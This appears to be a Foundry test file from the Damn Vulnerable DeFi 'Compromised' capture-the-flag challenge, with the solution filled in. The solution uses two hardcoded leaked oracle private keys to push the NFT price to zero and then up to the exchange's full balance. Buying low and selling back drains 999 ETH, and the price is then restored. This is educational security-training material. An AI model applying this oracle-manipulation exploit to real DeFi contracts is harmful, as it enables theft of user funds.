-
Notifications
You must be signed in to change notification settings - Fork 116
/
Copy pathCompromised.t.sol
125 lines (98 loc) · 4.14 KB
/
Compromised.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {VmSafe} from "forge-std/Vm.sol";
import {TrustfulOracle} from "../../src/compromised/TrustfulOracle.sol";
import {TrustfulOracleInitializer} from "../../src/compromised/TrustfulOracleInitializer.sol";
import {Exchange} from "../../src/compromised/Exchange.sol";
import {DamnValuableNFT} from "../../src/DamnValuableNFT.sol";
contract CompromisedChallenge is Test {
address deployer = makeAddr("deployer");
address player = makeAddr("player");
address recovery = makeAddr("recovery");
uint256 constant EXCHANGE_INITIAL_ETH_BALANCE = 999 ether;
uint256 constant INITIAL_NFT_PRICE = 999 ether;
uint256 constant PLAYER_INITIAL_ETH_BALANCE = 0.1 ether;
uint256 constant TRUSTED_SOURCE_INITIAL_ETH_BALANCE = 2 ether;
address[] sources = [
0x188Ea627E3531Db590e6f1D71ED83628d1933088,
0xA417D473c40a4d42BAd35f147c21eEa7973539D8,
0xab3600bF153A316dE44827e2473056d56B774a40
];
string[] symbols = ["DVNFT", "DVNFT", "DVNFT"];
uint256[] prices = [INITIAL_NFT_PRICE, INITIAL_NFT_PRICE, INITIAL_NFT_PRICE];
TrustfulOracle oracle;
Exchange exchange;
DamnValuableNFT nft;
modifier checkSolved() {
_;
_isSolved();
}
function setUp() public {
startHoax(deployer);
// Initialize balance of the trusted source addresses
for (uint256 i = 0; i < sources.length; i++) {
vm.deal(sources[i], TRUSTED_SOURCE_INITIAL_ETH_BALANCE);
}
// Player starts with limited balance
vm.deal(player, PLAYER_INITIAL_ETH_BALANCE);
// Deploy the oracle and setup the trusted sources with initial prices
oracle = (new TrustfulOracleInitializer(sources, symbols, prices)).oracle();
// Deploy the exchange and get an instance to the associated ERC721 token
exchange = new Exchange{value: EXCHANGE_INITIAL_ETH_BALANCE}(address(oracle));
nft = exchange.token();
vm.stopPrank();
}
/**
* CODE YOUR SOLUTION HERE
*/
function test_assertInitialState() public view {
for (uint256 i = 0; i < sources.length; i++) {
assertEq(sources[i].balance, TRUSTED_SOURCE_INITIAL_ETH_BALANCE);
}
assertEq(player.balance, PLAYER_INITIAL_ETH_BALANCE);
assertEq(nft.owner(), address(0)); // ownership renounced
assertEq(nft.rolesOf(address(exchange)), nft.MINTER_ROLE());
}
/**
* CODE YOUR SOLUTION HERE
*/
function test_compromised() public checkSolved {
changeOraclePrice(0);
vm.startPrank(player, player);
exchange.buyOne{value: 1}();
vm.stopPrank();
changeOraclePrice(address(exchange).balance);
vm.startPrank(player, player);
nft.approve(address(exchange), 0);
exchange.sellOne(0);
(bool success, ) = recovery.call{value: EXCHANGE_INITIAL_ETH_BALANCE}("");
require (success, "Transfer failed");
vm.stopPrank();
changeOraclePrice(INITIAL_NFT_PRICE);
}
function changeOraclePrice(uint256 newPrice) public {
uint256 COMPROMISED_PKEY_1 = 0x7d15bba26c523683bfc3dc7cdc5d1b8a2744447597cf4da1705cf6c993063744;
uint256 COMPROMISED_PKEY_2 = 0x68bd020ad186b647a691c6a5c0c1529f21ecd09dcc45241402ac60ba377c4159;
vm.startBroadcast(COMPROMISED_PKEY_1);
oracle.postPrice(nft.symbol(), newPrice);
vm.stopBroadcast();
vm.startBroadcast(COMPROMISED_PKEY_2);
oracle.postPrice(nft.symbol(), newPrice);
vm.stopBroadcast();
}
/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/
function _isSolved() private view {
// Exchange doesn't have ETH anymore
assertEq(address(exchange).balance, 0);
// ETH was deposited into the recovery account
assertEq(recovery.balance, EXCHANGE_INITIAL_ETH_BALANCE);
// Player must not own any NFT
assertEq(nft.balanceOf(player), 0);
// NFT price didn't change
assertEq(oracle.getMedianPrice("DVNFT"), INITIAL_NFT_PRICE);
}
}